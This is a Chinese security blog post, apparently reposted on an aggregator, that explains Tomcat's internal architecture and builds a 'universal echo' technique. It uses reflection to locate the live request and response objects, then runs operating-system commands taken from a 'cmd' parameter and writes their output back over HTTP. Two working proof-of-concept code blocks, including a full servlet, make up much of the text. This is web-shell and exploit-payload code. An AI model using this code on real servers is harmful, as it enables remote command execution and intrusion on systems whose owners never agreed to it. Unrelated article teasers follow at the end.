tomcat通用回显

news2024/10/2 18:02:28

​Tomcat架构简析

tomcat的架构图

Server:整个tomcat启动的时候只有一个server

Service:一个server中包含了多个service,表示服务

**Container:**容器,可以看作是一个servlet容器,包含一些Engine,Host,Context,Wraper等,访问的路径什么的就存放在这里

  • Engine -- 引擎

  • Host -- 主机

  • Context -- 上下文(也就是应用程序)

  • Wrapper -- 包装器

**Connector:**连接器,将service和container连接起来,作用就是把来自客户端的请求转发到container容器

Connector内部的组件:

  • Endpoint-用于网络监听

  • Processor-用于协议解析处理

  • Adapter-用于转换,解耦connector和container

ProtocolHandler类

一个Connector中特别主要的一个类,把Endpoint和Processor,Adapter封装到了一起

通过Endpoint的监听功能监听到请求,发送给Processor做协议的处理,将封装的数据传递给Adapter,作为一个于servlet的桥梁

简单点说就是将用户的请求做一个处理,处理一些协议

ServletContext类

每个Web应用都对应一个ServletContext,通过它可以访问到具体的serlvet,主要作为一个应用程序与容器进行交互

一个完整的http请求

假设来自客户的请求为:http://localhost:8080/test/index.jsp 请求被发送到本机端口8080,被在那里侦听的Connector组件捕获:

  • Connector把该请求交给它所在的Service的Engine来处理,并等待Engine的回应

  • Engine获得请求localhost:8080/test/index.jsp,匹配它所有虚拟主机Host

  • Engine匹配到名为localhost的Host(即使匹配不到也把请求交给该Host处理,因为该Host被定义为该Engine的默认主机)

  • localhost Host获得请求/test/index.jsp,匹配它所拥有的所有Context

  • Host匹配到路径为/test的Context(如果匹配不到就把该请求交给路径名为""的Context去处理)

  • path="/test"的Context获得请求/index.jsp,在它的mapping table中寻找对应的servlet

  • Context匹配到URL PATTERN为*.jsp的servlet,对应于JspServlet类,构造HttpServletRequest对象和HttpServletResponse对象,作为参数调用JspServlet的doGet或doPost方法

  • Context把执行完了之后的HttpServletResponse对象返回给Host

  • Host把HttpServletResponse对象返回给Engine

  • Engine把HttpServletResponse对象返回给Connector

  • Connector把HttpServletResponse对象返回给客户browser

参考链接:

  • https://pdai.tech/md/framework/tomcat/tomcat-x-arch.html

  • https://www.cnblogs.com/Brake/p/13195737.html

  • https://www.cnblogs.com/nice0e3/p/14622879.html#container

使用全局存储的方式实现回显

看一下Http11Processor类,继承了AbstractProcessor类

AbstractProcessor类是tomcat中用来处理http请求逻辑的类

至于他的子类Http11Processor,也是同样的,用来处理http/1.1的具体逻辑

这里关注一下AbstractProcessor中的几个属性

protected final Request request;
protected final Response response;

两个属性都是final的,赋值玩一次就不能改了

这里的request和response都隶属于org.apache.coyote包下面,但是回显的话需要org.apache.catalina.connector.Request这个类

在学习tomcat的时候,我们接触的一般都是HttpServletRequest(接口),HttpServletRequest有一个实现类也叫Request

这两个Request有啥区别:

  • org.apache.catalina.connector.Request主要用于表示已解析的HTTP请求,并提供方法供上层模块访问请求信息

  • org.apache.coyote.Request主要用于底层网络请求的处理和解析。

org.apache.coyote.Request 类中有一个方法返回org.apache.catalina.connector.Request 类

也就是只要获取到了Http11Processor或者AbstractProcessor即可以获取org.apache.catalina.connector.Request

在AbstractProtocol$ConnectionHandler类中就存储了Http11Processor这个类

进入this.register(processor)

看一下RequestInfo rp = processor.getRequest().getRequestProcessor();具体做了什么

getRequest

返回org.apache.coyote.Request对象

getRequestProcessor

这里返回了一个RequestInfo,这个类主要用于收集一些请求相关的数据

继续进入rp.setGlobalProcessor(this.global);

this.global是啥呢

private final RequestGroupInfo global = new RequestGroupInfo();

可以看见是一个RequestGroupInfo对象,这个对象就是用一个list来包含RequestInfo

进入global.addRequestProcessor(this);

调用RequestGroupInfo对象的addRequestProcessor方法,把RequestInfo当作对象传进去

添加到list中去

然后现在的问题就是在哪里存储了AbstractProtocol或者子类了

在CoyoteAdapter中的connector属性中,存在一个protocolHandler字段

ProtocolHandler是一个接口

AbstractProtocol也实现了ProtocolHandler接口

那么随便找一个http11相关的类就行了

所以现在一部分的链子是这样的:

connector
AbstractProtocol$ConnectoinHandler
RequestGroupInfo(global)
RequestInfo
Request
Response

然后问题就变成了寻找Connector

在Tomcat类中,setConnector方法通过org.apache.catalina.core.StandardService#addConnector存放在connectors

最后一步就是如何获取StandardService 了

这里根据网上的解释应该是通过设置对应的加载器来达到获取StandardService 的目的

上面粗略的流程构对应的Poc

org.apache.catalina.loader.WebappClassLoaderBase webappClassLoaderBase = (WebappClassLoaderBase) Thread.currentThread().getContextClassLoader();
        org.apache.catalina.core.StandardContext standardContext = (StandardContext) webappClassLoaderBase.getResources().getContext();

        try {
            Field context = Class.forName("org.apache.catalina.core.StandardContext").getDeclaredField("context");
            context.setAccessible(true);
            ApplicationContext ApplicationContext = (ApplicationContext)context.get(standardContext);
            
            Field service = Class.forName("org.apache.catalina.core.ApplicationContext").getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(ApplicationContext);
            
            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            Connector[] connector = (Connector[]) connectors.get(standardService);
            
            Field protocolHandler = Class.forName("org.apache.catalina.connector.Connector").getDeclaredField("protocolHandler");
            protocolHandler.setAccessible(true);
            
            Class<?>[] declaredClasses = Class.forName("org.apache.coyote.AbstractProtocol").getDeclaredClasses();
            
            for (Class<?> declaredClass : declaredClasses) {

                if (declaredClass.getName().length()==52){
                    
                    java.lang.reflect.Method getHandler = org.apache.coyote.AbstractProtocol.class.getDeclaredMethod("getHandler",null);
                    getHandler.setAccessible(true);
                    
                    Field global = declaredClass.getDeclaredField("global");
                    global.setAccessible(true);
                    org.apache.coyote.RequestGroupInfo requestGroupInfo = (RequestGroupInfo) global.get(getHandler.invoke(connector[0].getProtocolHandler(), null));

                    Field processors = Class.forName("org.apache.coyote.RequestGroupInfo").getDeclaredField("processors");
                    processors.setAccessible(true);
                    java.util.List<org.apache.coyote.RequestInfo>  requestInfo = (List<RequestInfo>) processors.get(requestGroupInfo);
                    Field req1 = Class.forName("org.apache.coyote.RequestInfo").getDeclaredField("req");
                    req1.setAccessible(true);

                    for (RequestInfo info : requestInfo) {

                        org.apache.coyote.Request request = (Request) req1.get(info);

                        org.apache.catalina.connector.Request request1 = (org.apache.catalina.connector.Request) request.getNote(1);
                        
                        org.apache.catalina.connector.Response response = request1.getResponse();

                        String cmd = request1.getParameter("cmd");
                        InputStream is = Runtime.getRuntime().exec(cmd).getInputStream();
                        BufferedInputStream bis = new BufferedInputStream(is);
                        int len;
                        while ((len = bis.read())!=-1){
                            response.getWriter().write(len);
                        }
                    }
                }
            }

        } catch (NoSuchFieldException e) {
            e.printStackTrace();
        } catch (IllegalAccessException | ClassNotFoundException e) {
            e.printStackTrace();
        } catch (NoSuchMethodException e) {
            e.printStackTrace();
        } catch (InvocationTargetException e) {
            e.printStackTrace();
        }

测试环境: jdk8,tomcat8

这里涉及到tomcat的版本问题,在webappClassLoaderBase.getResources()方法中,我这里的8.5.89的代码如下:

所以没办法只能换一个版本,我这里直接用的9.0.1,在看getResources()

再看运行状况,这次就可以了

为什么获取standardContext这么复杂,因为standardContext在tomcat启动的时候与项目部署的应用程序对应,一个standardContext对应一个web应用程序

而利用线程获取的类加载器获取的standardContext对象中的数据如下

接下去的poc就是一步一步的获取到底层处理http请求的org.apache.catalina.connector.Request进而获取Response来回显数据了

寻找standardContext

前面的方式只能在限定版本中使用,下面找一下其他的方式来实现回显

查阅一些文章之后发现可以通过线程组来获取standardContext

Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");

看一下这个数组里面具体有哪些

然后确定一下那些线程是可以用的

  • http-nio-8082-Acceptor 在学习tomcat整体架构的时候,稍微了解过Acceptor这个组件,他是用来处理用户发过来的请求的,然后不涉及具体的处理,直接转发给worker线程去处理

  • http-nio-8082-exec* 这里有10个类似的线程,和上面的Acceptor,其实就是worker线程,用来处理具体的逻辑

  • http-nio-8082-Poller 该线程用于处理网络i/o,有请求时,发送到对应的Processor进行处理

在Processor这个组件,在上面的图上的作用是来处理http请求的,并且standardContext和Processor有一定的关系,当Tomcat接收到HTTP请求时,Processor首先会接收并解析请求,然后根据请求的URL路径等信息,将请求传递给适当的StandardContext。

和Processor有关的两个线程http-nio-8082-Polle http-nio-8082-Acceptor

看一下Poller这个类,是NioEndpoint的内部类,实现了Runnable接口

整体的代码

package v1f18;

import org.apache.catalina.connector.Connector;
import org.apache.catalina.core.*;
import org.apache.coyote.ProtocolHandler;
import org.apache.coyote.Request;
import org.apache.coyote.RequestInfo;
import org.apache.tomcat.util.net.AbstractEndpoint;

import javax.servlet.ServletException;
import javax.servlet.annotation.WebServlet;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Field;
import java.util.ArrayList;
import java.util.HashMap;
import java.util.Iterator;

@WebServlet("/h")
public class hello extends HttpServlet {
    @Override
    protected void doGet(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {
        response.setContentType("text/html");
        
        try {
            Thread[] threads = (Thread[]) this.getField(Thread.currentThread().getThreadGroup(), "threads");
            Object obj;
            String uri;
            String serverName;
            StandardContext standardContext = null;
            for (Thread thread: threads
                 ) {
                if (thread==null || thread.getName().contains("exec")){
                    continue;
                }
                Object target = this.getField(thread, "target");
        //判断一下target是否为Runnable的实现类
                if (!(target instanceof Runnable)){
                    continue;
                }
                try {

                obj = this.getField(this.getField(this.getField(target, "this$0"), "handler"), "global");
                }catch (Exception e){
                    continue;
                }
                if (obj == null){
                    continue;
                }
                ArrayList processors = (ArrayList)this.getField(obj, "processors");
                Iterator iterator = processors.iterator();
                while (iterator.hasNext()) {
                    Object next = iterator.next();
                    org.apache.coyote.Request req = (org.apache.coyote.Request) getField(next, "req");
                    Object serverPort = getField(req, "serverPort");
                    if (serverPort.equals(-1)){continue;}
                    // 等于-1的时候表示这个请求无效
                    org.apache.tomcat.util.buf.MessageBytes serverNameMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "serverNameMB");
                    serverName = (String) getField(serverNameMB, "strValue");
                    if (serverName == null){
                        serverName = serverNameMB.toString();
                    }
                    if (serverName == null){
                        serverName = serverNameMB.getString();
                    }

                    org.apache.tomcat.util.buf.MessageBytes uriMB = (org.apache.tomcat.util.buf.MessageBytes) getField(req, "decodedUriMB");
                    uri = (String) getField(uriMB, "strValue");
                    if (uri == null){
                        uri = uriMB.toString();
                    }
                    if (uri == null){
                        uri = uriMB.getString();
                    }

                    standardContext = this.getStandardContext(uri, serverName);

                }
            }

            Field context = standardContext.getClass().getDeclaredField("context");
            context.setAccessible(true);
            org.apache.catalina.core.ApplicationContext applicationContext = (ApplicationContext) context.get(standardContext);

            Field service = applicationContext.getClass().getDeclaredField("service");
            service.setAccessible(true);
            org.apache.catalina.core.StandardService standardService = (StandardService) service.get(applicationContext);

            Field connectors = standardService.getClass().getDeclaredField("connectors");
            connectors.setAccessible(true);
            org.apache.catalina.connector.Connector[] connectors1 = (Connector[]) connectors.get(standardService);

            ProtocolHandler protocolHandler = connectors1[0].getProtocolHandler();
            Field handler = org.apache.coyote.AbstractProtocol.class.getDeclaredField("handler");
            handler.setAccessible(true);
            org.apache.tomcat.util.net.AbstractEndpoint.Handler handler1 = (AbstractEndpoint.Handler) handler.get(protocolHandler);

            org.apache.coyote.RequestGroupInfo requestGroupInfo = (org.apache.coyote.RequestGroupInfo) handler1.getGlobal();
            Field processors = requestGroupInfo.getClass().getDeclaredField("processors");
            processors.setAccessible(true);
            ArrayList<RequestInfo> processors1 = (ArrayList) processors.get(requestGroupInfo);

            Field req = RequestInfo.class.getDeclaredField("req");
            req.setAccessible(true);
            for (org.apache.coyote.RequestInfo requestInfo : processors1) {
                org.apache.coyote.Request request1 = (org.apache.coyote.Request) req.get(requestInfo);
                // 转换为 org.apache.catalina.connector.Request 类型
                org.apache.catalina.connector.Request request2 = (org.apache.catalina.connector.Request) request1.getNote(1);
                org.apache.catalina.connector.Response response1 = request2.getResponse();

               String cmd = request2.getParameter("cmd");
                Process exec = Runtime.getRuntime().exec(cmd);
                InputStream inputStream = exec.getInputStream();
                int len;
                while ((len = inputStream.read())!=-1){
                    response1.getWriter().write(len);
                }

            }

        } catch (NoSuchFieldException | IllegalAccessException | IOException e) {
            e.printStackTrace();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }
    }

    public StandardContext getStandardContext(String uri,String serverName) throws Exception {
        Thread[] threads = (Thread[]) getField(Thread.currentThread().getThreadGroup(), "threads");
        for (Thread thread : threads) {
            if (thread == null) {
                continue;
            }
            if ((thread.getName().contains("Acceptor")) && (thread.getName().contains("http"))) {
                Object target = this.getField(thread, "target");
                HashMap children;
                Object endPoint = null;
                try {
                    endPoint = getField(thread, "this$0");

                } catch (Exception e) {

                }
                if (endPoint == null) {
                    try {
                        endPoint = this.getField(target, "endpoint");
                    } catch (Exception e) {
                        return null;
                    }
                }
                Object service = getField(getField(getField(getField(getField(endPoint, "handler"), "proto"), "adapter"), "connector"), "service");
                StandardEngine engine = null;
                try {
                    engine = (StandardEngine) getField(service, "container");
                } catch (Exception e) {
                }
                if (engine == null) {
                    engine = (StandardEngine) getField(service, "engine");
                }

                children = (HashMap) getField(engine, "children");
                StandardHost standardHost = (StandardHost) children.get(serverName);
          if (standardHost == null){
                    for (Object key: children.keySet()){
                        Object o = children.get(key);
                        if (o.getClass().equals(StandardHost.class)){
                            standardHost = (StandardHost) o;
                        }else {
                            throw new RuntimeException();
                        }
                    }
                }
                children = (HashMap) getField(standardHost, "children");
                Iterator iterator = children.keySet().iterator();
                while (iterator.hasNext()) {
                    String contextKey = (String) iterator.next();
                    if (!(uri.startsWith(contextKey))) {
                        continue;
                    }
                    StandardContext s = (StandardContext) children.get(contextKey);
                    return s;

                }
            }
        }
        return  null;
    }

    private Object getField(Object obj, String fieldName) throws Exception{
        Class<?> objclass = obj.getClass();
        while (objclass != obj){
            try {
                Field declaredField = objclass.getDeclaredField(fieldName);
                declaredField.setAccessible(true);
                return declaredField.get(obj);

            }catch (Exception e){
            }
            objclass = objclass.getSuperclass();
        }
        return null;

    }
}

这里修改了一下参考的poc,在请求为localhost的时候是正常运行的,但是一旦用外网ip来访问,或者使用域名的话,就会报空指针异常,所以修改了一下代码

我这里测试了8和9的tomcat,7版本需要改一些东西

参考:

https://exp10it.cn/2022/11/tomcat-filter-型内存马分析/#编写内存马

http://wjlshare.com/archives/1529

https://xz.aliyun.com/t/9914

https://cloud.tencent.com/developer/article/2005599

https://sumsec.me/2021/Tomcat通用

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/836020.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

搞个个人博客,纯学习想找个纯html模板咋就这难

以前做毕业设计的时候老想找一些不掺杂后端代码的前端模板。 可是下载下来&#xff0c;不是php就是python后台的。看又看不懂&#xff0c;想换语言就必须先把里面的后台代码拿掉。 就很像买了个精装的二手房&#xff0c;白白多花了砸墙钱。 就比如&#xff0c;想做个带菜单的…

编写SPI_Master驱动程序_新方法

编写SPI_Master驱动程序_新方法 文章目录 编写SPI_Master驱动程序_新方法一. SPI驱动框架1.1 总体框架1.2 怎么编写SPI_Master驱动1.2.1 编写设备树1.2.2 编写驱动程序 二、 编写程序2.1 数据传输流程2.2 写代码 致谢 参考资料&#xff1a; 内核头文件&#xff1a;include\lin…

vsphere6.5 创建数据中心、集群和添加主机

1、新建数据中心&#xff0c;在入门页面选择创建数据中心&#xff0c;名称可以自定义。 2、创建完成数据中心后就可以添加主机和创建集群了。 3、新建一个集群&#xff0c;并打开DRS和HA功能&#xff0c;这两个功能的一些其他选项可以在创建完成后进一步设置&#xff0c;关于EV…

我能“C“——扫雷游戏

一.前言&#xff1a; 扫雷游戏&#xff0c;一款经典的游戏&#xff0c;没玩过的话也可以试着玩一玩&#xff0c;这样对写扫雷游戏这个小游戏的化是会有一个很好的思路的。那么本片博客就来介绍如何实现扫雷游戏的具体步骤。扫雷游戏链接&#x1f449; 扫雷游戏网页版 - Minesw…

人工智能在推动生产力上的分析

像ChatGPT这样的大型语言模型正在成为强大的工具&#xff0c;不仅可以提高工人的生产力&#xff0c;还可以提高创新率&#xff0c;为经济增长的显著加速奠定基础。作为一项通用技术&#xff0c;人工智能将影响广泛的行业&#xff0c;促进对新技能的投资&#xff0c;改变业务流程…

DWG图纸在SOLIDWORKS软件里如何使用?

经常有工程师咨询DWG图纸在SOLIDWORKS软件里如何使用&#xff0c;其实这涉及到DWG图纸在SOLIDWORKS软件里的重用问题&#xff0c;SOLIDWORKS支持对DWG图纸的重用&#xff0c;常用的有三种方法&#xff1a; 1.作为原始DWG图纸查看作为原始DWG图纸查看是指使用SOLIDWORKS软件直接…

Nginx使用proxy_cache指令设置反向代理缓存静态资源

场景 CentOS7中解压tar包的方式安装Nginx&#xff1a; CentOS7中解压tar包的方式安装Nginx_centos7 tar文件 怎么load_霸道流氓气质的博客-CSDN博客 参考上面流程实现搭建Nginx的基础上&#xff0c;实现静态资源的缓存设置。 注意上面安装时的目录是在/opt/nginx目录下&…

Python编程从入门到实践练习第四章:对列表进行操作

本文目录 一、 创建数值列表1.1 使用range创建数字列表涉及方法使用实例输出 1.2 列表解析1.3 练习题代码输出 二、对列表部分元素进行操作2.1 切片使用实例 2.2 复制列表2.3 练习题代码输出 三、元组3.1 元组介绍3.2 练习题代码输出 一、 创建数值列表 1.1 使用range创建数字…

理解Android生命周期

写一个demo&#xff0c;实现两个页面之间的跳转。重写7个生命周期方法&#xff0c;在方法中打印日志&#xff0c;观察状态的变化。 MainActivity 设置一个常量。 private static final String TAG "hello_activity_1";重写7个生命周期。 在生命周期方法中&#…

No primary or single unique constructor found for interface java.util.List

报错截图&#xff1a; 报错内容&#xff1a; 2023-08-04 15:46:32.884 ERROR 14260 --- [io-8080-exec-10] o.a.c.c.C.[.[.[/].[dispatcherServlet] : Servlet.service() for servlet [dispatcherServlet] in context with path [] threw exception [Request processing fa…

对当下AI的一些观感思考

目前来看&#xff0c;AI技术地震的震中还是在美帝那旮瘩。尤其是M7&#xff0c;这几家市值加总快15万亿美元了&#xff0c;个个都是行业翘楚&#xff0c;个个都有拿得出手的东西。AI是个技术密集、人才密集、计算密集的产业。美帝拥有全球一流的顶尖人才&#xff0c;以及财力、…

【Leetcode】(自食用)树的中序遍历(递归+栈非递归)

step by step. 题目&#xff1a; 给定一个二叉树的根节点 root &#xff0c;返回 它的 中序 遍历 。 示例 1&#xff1a; 输入&#xff1a;root [1,null,2,3] 输出&#xff1a;[1,3,2]示例 2&#xff1a; 输入&#xff1a;root [] 输出&#xff1a;[]示例 3&#xff1a; 输入…

【LNMP】LNMP

LNMP&#xff1a;是目前成熟的企业网站的应用模式之一&#xff0c;指的是一套协同工作的系统和相关软件&#xff1b;能够提供静态页面服务&#xff0c;也可以提供动态web服务 L Linux系统&#xff0c;操作系统N Nginx网站服务&#xff0c;前端&#xff0c;提供前端的静态…

接口抓包,Fiddler抓包使用方法总结,入门到精通辅助实战...

目录&#xff1a;导读 前言一、Python编程入门到精通二、接口自动化项目实战三、Web自动化项目实战四、App自动化项目实战五、一线大厂简历六、测试开发DevOps体系七、常用自动化测试工具八、JMeter性能测试九、总结&#xff08;尾部小惊喜&#xff09; 前言 工作原理 Fiddle…

性能全面飙升!StarRocks 在贝壳找房的极速统一实践

小编导读&#xff1a; 贝壳找房是国内最大的在线房产交易平台之一&#xff0c;利用大数据技术进行房源的挖掘和匹配&#xff0c;通过数据分析和挖掘&#xff0c;更准确地了解用户需求&#xff0c;并为用户提供个性化的房源推荐和交易服务。 随着数据和业务规模的增长&#xff0…

carla中lka实现(一)

前言&#xff1a; 对于之前项目中工作内容进行总结&#xff0c;使用Carla中的车辆进行lka算法调试&#xff0c;整体技术路线&#xff1a; ①在Carla中生成车辆&#xff0c;并在车辆上搭载camera&#xff0c;通过camera采集图像数据&#xff1b; ②使用图像处理lka算法&#…

echart图标日环图

效果图&#xff1a; 代码实例&#xff1a; <template><div id"chart-alarm" class"chartStyle"></div> </template> <script> import echarts from echarts export default {name:alarm,data(){return{chart:null}},mounte…

mybatisplus集成geometry实现增改功能

前言 在我们工作中想要实现将空间点位信息存储到数据库时,一般使用以下语句实现 INSERT INTO test-point ( point,text ) VALUES ( st_GeomFromText ( POINT(1 1) ),第1个点);update test-point set pointst_PointFromText(POINT(5 5)) where id 10;但是这样每次都要去编写新…

介绍个小工具 - ABAP Cleaner

1. 背景 在编写ABAP代码时&#xff0c;我们可以通过Pretty Printer &#xff08;Shift F1&#xff09;去完成代码的美化&#xff0c;但Pretty Printer所能提供的仅仅是关键字大小写的设置、以及行首留空格的控制&#xff0c;如下图所示。 也就是说&#xff0c;Pretty Printer…

【MySQL】仓储--维护出入库流水、库存,去重数量逻辑修正

系列文章 C#底层库–MySQLBuilder脚本构建类&#xff08;select、insert、update、in、带条件的SQL自动生成&#xff09; 本文链接&#xff1a;https://blog.csdn.net/youcheng_ge/article/details/129179216 C#底层库–MySQL数据库操作辅助类&#xff08;推荐阅读&#xff0…